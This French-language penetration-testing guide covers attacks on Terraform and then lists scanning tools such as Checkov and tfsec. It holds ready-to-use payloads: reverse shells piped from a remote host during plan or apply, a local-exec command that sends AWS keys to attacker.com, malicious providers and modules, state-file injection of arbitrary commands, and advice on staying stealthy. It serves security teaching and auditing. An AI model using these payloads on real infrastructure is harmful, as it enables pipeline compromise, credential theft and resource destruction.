# Sécurité Terraform

{{#include ../banners/hacktricks-training.md}}

## Informations de base

[Selon la documentation :](https://developer.hashicorp.com/terraform/intro)

HashiCorp Terraform est un **outil d'infrastructure en tant que code** qui vous permet de définir à la fois des **ressources cloud et sur site** dans des fichiers de configuration lisibles par l'homme que vous pouvez versionner, réutiliser et partager. Vous pouvez ensuite utiliser un flux de travail cohérent pour provisionner et gérer toute votre infrastructure tout au long de son cycle de vie. Terraform peut gérer des composants de bas niveau comme le calcul, le stockage et les ressources réseau, ainsi que des composants de haut niveau comme les entrées DNS et les fonctionnalités SaaS.

#### Comment fonctionne Terraform ?

Terraform crée et gère des ressources sur des plateformes cloud et d'autres services via leurs interfaces de programmation d'applications (API). Les fournisseurs permettent à Terraform de fonctionner avec pratiquement n'importe quelle plateforme ou service disposant d'une API accessible.

![](<../images/image (177).png>)

HashiCorp et la communauté Terraform ont déjà écrit **plus de 1700 fournisseurs** pour gérer des milliers de types de ressources et de services différents, et ce nombre continue de croître. Vous pouvez trouver tous les fournisseurs disponibles publiquement sur le [Terraform Registry](https://registry.terraform.io/), y compris Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, et bien d'autres.

Le flux de travail principal de Terraform se compose de trois étapes :

- **Écrire :** Vous définissez des ressources, qui peuvent être réparties sur plusieurs fournisseurs et services cloud. Par exemple, vous pourriez créer une configuration pour déployer une application sur des machines virtuelles dans un réseau de Cloud Privé Virtuel (VPC) avec des groupes de sécurité et un équilibreur de charge.
- **Planifier :** Terraform crée un plan d'exécution décrivant l'infrastructure qu'il va créer, mettre à jour ou détruire en fonction de l'infrastructure existante et de votre configuration.
- **Appliquer :** Sur approbation, Terraform effectue les opérations proposées dans le bon ordre, en respectant les dépendances des ressources. Par exemple, si vous mettez à jour les propriétés d'un VPC et changez le nombre de machines virtuelles dans ce VPC, Terraform recréera le VPC avant de mettre à l'échelle les machines virtuelles.

![](<../images/image (215).png>)

### Laboratoire Terraform

Il vous suffit d'installer terraform sur votre ordinateur.

Voici un [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) et voici la [meilleure façon de télécharger terraform](https://www.terraform.io/downloads).

## RCE dans Terraform : empoisonnement de fichier de configuration

Terraform **n'a pas de plateforme exposant une page web ou un service réseau** que nous pouvons énumérer, donc, la seule façon de compromettre terraform est de **pouvoir ajouter/modifier des fichiers de configuration terraform** ou de **pouvoir modifier le fichier d'état terraform** (voir le chapitre ci-dessous).

Cependant, terraform est un **composant très sensible** à compromettre car il aura **un accès privilégié** à différents emplacements afin de fonctionner correctement.

La principale façon pour un attaquant de pouvoir compromettre le système où terraform fonctionne est de **compromettre le dépôt qui stocke les configurations terraform**, car à un moment donné, elles vont être **interprétées**.

En fait, il existe des solutions qui **exécutent automatiquement terraform plan/apply après qu'une PR** soit créée, comme **Atlantis** :

{{#ref}}
atlantis-security.md
{{#endref}}

Si vous êtes capable de compromettre un fichier terraform, il existe différentes façons de réaliser un RCE lorsque quelqu'un exécute `terraform plan` ou `terraform apply`.

### Terraform plan

Terraform plan est la **commande la plus utilisée** dans terraform et les développeurs/solutions utilisant terraform l'appellent tout le temps, donc la **façon la plus simple d'obtenir un RCE** est de s'assurer que vous empoisonnez un fichier de configuration terraform qui exécutera des commandes arbitraires dans un `terraform plan`.

**Utilisation d'un fournisseur externe**

Terraform propose le [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) qui fournit un moyen d'interfacer entre Terraform et des programmes externes. Vous pouvez utiliser la source de données `external` pour exécuter du code arbitraire pendant un `plan`.

Injecter dans un fichier de configuration terraform quelque chose comme ce qui suit exécutera un shell inversé lors de l'exécution de `terraform plan` :
```javascript
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```
**Utilisation d'un fournisseur personnalisé**

Un attaquant pourrait envoyer un [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) au [Terraform Registry](https://registry.terraform.io/) et ensuite l'ajouter au code Terraform dans une branche de fonctionnalité ([exemple ici](https://alex.kaskaso.li/post/terraform-plan-rce)):
```javascript
terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}
```
Le fournisseur est téléchargé dans l'`init` et exécutera le code malveillant lorsque `plan` est exécuté.

Vous pouvez trouver un exemple dans [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)

**Utilisation d'une référence externe**

Les deux options mentionnées sont utiles mais pas très discrètes (la seconde est plus discrète mais plus complexe que la première). Vous pouvez effectuer cette attaque même de manière **plus discrète**, en suivant ces suggestions :

- Au lieu d'ajouter le rev shell directement dans le fichier terraform, vous pouvez **charger une ressource externe** qui contient le rev shell :
```javascript
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
Vous pouvez trouver le code rev shell dans [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)

- Dans la ressource externe, utilisez la fonctionnalité **ref** pour cacher le **code rev shell terraform dans une branche** à l'intérieur du dépôt, quelque chose comme : `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`

### Terraform Apply

Terraform apply sera exécuté pour appliquer tous les changements, vous pouvez également en abuser pour obtenir RCE en injectant **un fichier Terraform malveillant avec** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
Vous devez juste vous assurer qu'une charge utile comme les suivantes se termine dans le fichier `main.tf` :
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
```
Suivez les **suggestions de la technique précédente** pour effectuer cette attaque de manière **plus discrète en utilisant des références externes**.

## Secrets Dumps

Vous pouvez avoir des **valeurs secrètes utilisées par terraform extraites** en exécutant `terraform apply` en ajoutant au fichier terraform quelque chose comme :
```json
output "dotoken" {
value = nonsensitive(var.do_token)
}
```
## Abuser des fichiers d'état Terraform

Dans le cas où vous avez un accès en écriture sur les fichiers d'état terraform mais ne pouvez pas modifier le code terraform, [**cette recherche**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) propose des options intéressantes pour tirer parti du fichier. Même si vous aviez un accès en écriture sur les fichiers de configuration, utiliser le vecteur des fichiers d'état est souvent beaucoup plus sournois, car vous ne laissez pas de traces dans l'historique `git`.

### RCE dans Terraform : empoisonnement de fichier de configuration

Il est possible de [créer un fournisseur personnalisé](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) et simplement remplacer l'un des fournisseurs dans le fichier d'état terraform par le malveillant ou ajouter une ressource factice référencant le fournisseur malveillant.

Le fournisseur [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) s'appuie sur la recherche et arme ce principe. Vous pouvez ajouter une ressource factice et indiquer la commande bash arbitraire que vous souhaitez exécuter dans l'attribut `command`. Lorsque l'exécution de `terraform` est déclenchée, cela sera lu et exécuté à la fois dans les étapes `terraform plan` et `terraform apply`. Dans le cas de l'étape `terraform apply`, `terraform` supprimera la ressource factice du fichier d'état après avoir exécuté votre commande, nettoyant après lui. Plus d'informations et une démonstration complète peuvent être trouvées dans le [dépôt GitHub hébergeant le code source de ce fournisseur](https://github.com/offensive-actions/terraform-provider-statefile-rce).

Pour l'utiliser directement, incluez simplement ce qui suit à n'importe quelle position du tableau `resources` et personnalisez les attributs `name` et `command` :
```json
{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}
```
Ensuite, dès que `terraform` est exécuté, votre code s'exécutera.

### Suppression des ressources <a href="#deleting-resources" id="deleting-resources"></a>

Il existe 2 façons de détruire des ressources :

1. **Insérer une ressource avec un nom aléatoire dans le fichier d'état pointant vers la vraie ressource à détruire**

Parce que terraform verra que la ressource ne devrait pas exister, il la détruira (suivant l'ID de la vraie ressource indiqué). Exemple de la page précédente :
```json
{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
```
2. **Modifier la ressource à supprimer de manière à ce qu'il ne soit pas possible de mettre à jour (afin qu'elle soit supprimée et recréée)**

Pour une instance EC2, modifier le type de l'instance suffit à faire en sorte que terraform la supprime et la recrée.

### Remplacer le fournisseur sur liste noire

Dans le cas où vous rencontrez une situation où `hashicorp/external` a été mis sur liste noire, vous pouvez réimplémenter le fournisseur `external` en procédant comme suit. Remarque : Nous utilisons un fork du fournisseur externe publié par https://registry.terraform.io/providers/nazarewk/external/latest. Vous pouvez également publier votre propre fork ou réimplémentation.
```terraform
terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}
```
Ensuite, vous pouvez utiliser `external` comme d'habitude.
```terraform
data "external" "example" {
program = ["sh", "-c", "whoami"]
}
```
## Outils d'Audit Automatiques

### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)

Snyk offre une solution complète de scan Infrastructure as Code (IaC) qui détecte les vulnérabilités et les erreurs de configuration dans Terraform, CloudFormation, Kubernetes et d'autres formats IaC.

- **Fonctionnalités :**
- Scan en temps réel pour les vulnérabilités de sécurité et les problèmes de conformité.
- Intégration avec les systèmes de contrôle de version (GitHub, GitLab, Bitbucket).
- Demandes de tirage de correction automatisées.
- Conseils détaillés de remédiation.
- **Inscription :** Créez un compte sur [Snyk](https://snyk.io/).
```bash
brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code
```
### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>

**Checkov** est un outil d'analyse de code statique pour l'infrastructure en tant que code (IaC) et également un outil d'analyse de composition logicielle (SCA) pour les images et les packages open source.

Il analyse l'infrastructure cloud provisionnée à l'aide de [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) ou [OpenTofu](https://opentofu.org/) et détecte les erreurs de configuration de sécurité et de conformité à l'aide d'une analyse basée sur des graphes.

Il effectue une [analyse de composition logicielle (SCA)](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) qui est une analyse des packages open source et des images pour les vulnérabilités et expositions communes (CVE).
```bash
pip install checkov
checkov -d /path/to/folder
```
### [terraform-compliance](https://github.com/terraform-compliance/cli)

D'après les [**docs**](https://github.com/terraform-compliance/cli) : `terraform-compliance` est un cadre de test léger, axé sur la sécurité et la conformité, contre terraform pour permettre la capacité de test négatif pour votre infrastructure-as-code.

- **conformité :** Assurez-vous que le code implémenté respecte les normes de sécurité, vos propres normes personnalisées
- **développement dirigé par le comportement :** Nous avons BDD pour presque tout, pourquoi pas pour IaC ?
- **portable :** installez-le simplement depuis `pip` ou exécutez-le via `docker`. Voir [Installation](https://terraform-compliance.com/pages/installation/)
- **pré-déploiement :** il valide votre code avant qu'il ne soit déployé
- **facile à intégrer :** il peut s'exécuter dans votre pipeline (ou dans des hooks git) pour garantir que tous les déploiements sont validés.
- **séparation des tâches :** vous pouvez garder vos tests dans un dépôt différent où une équipe distincte est responsable.

> [!NOTE]
> Malheureusement, si le code utilise certains fournisseurs auxquels vous n'avez pas accès, vous ne pourrez pas effectuer le `terraform plan` et exécuter cet outil.
```bash
pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder
```
### [tfsec](https://github.com/aquasecurity/tfsec)

From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec utilise l'analyse statique de votre code terraform pour repérer les configurations incorrectes potentielles.

- ☁️ Vérifie les configurations incorrectes sur tous les principaux (et certains mineurs) fournisseurs de cloud
- ⛔ Des centaines de règles intégrées
- 🪆 Scanne les modules (locaux et distants)
- ➕ Évalue les expressions HCL ainsi que les valeurs littérales
- ↪️ Évalue les fonctions Terraform par exemple `concat()`
- 🔗 Évalue les relations entre les ressources Terraform
- 🧰 Compatible avec le Terraform CDK
- 🙅 Applique (et embellit) les politiques Rego définies par l'utilisateur
- 📃 Prend en charge plusieurs formats de sortie : lovely (par défaut), JSON, SARIF, CSV, CheckStyle, JUnit, texte, Gif.
- 🛠️ Configurable (via des drapeaux CLI et/ou un fichier de configuration)
- ⚡ Très rapide, capable de scanner rapidement d'énormes dépôts
```bash
brew install tfsec
tfsec /path/to/folder
```
### [KICKS](https://github.com/Checkmarx/kics)

Trouvez des vulnérabilités de sécurité, des problèmes de conformité et des erreurs de configuration d'infrastructure tôt dans le cycle de développement de votre infrastructure en tant que code avec **KICS** de Checkmarx.

**KICS** signifie **K**eeping **I**nfrastructure as **C**ode **S**ecure, il est open source et est indispensable pour tout projet cloud natif.
```bash
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
```
### [Terrascan](https://github.com/tenable/terrascan)

Dans les [**docs**](https://github.com/tenable/terrascan) : Terrascan est un analyseur de code statique pour l'Infrastructure as Code. Terrascan vous permet de :

- Scanner sans effort l'infrastructure as code pour des erreurs de configuration.
- Surveiller l'infrastructure cloud provisionnée pour des changements de configuration qui introduisent un dérive de posture, et permet de revenir à une posture sécurisée.
- Détecter des vulnérabilités de sécurité et des violations de conformité.
- Atténuer les risques avant de provisionner une infrastructure cloud native.
- Offrir la flexibilité de s'exécuter localement ou de s'intégrer à votre CI\CD.
```bash
brew install terrascan
```
## Références

- [Atlantis Security](atlantis-security.md)
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
- [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro)
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce)

{{#include ../banners/hacktricks-training.md}}
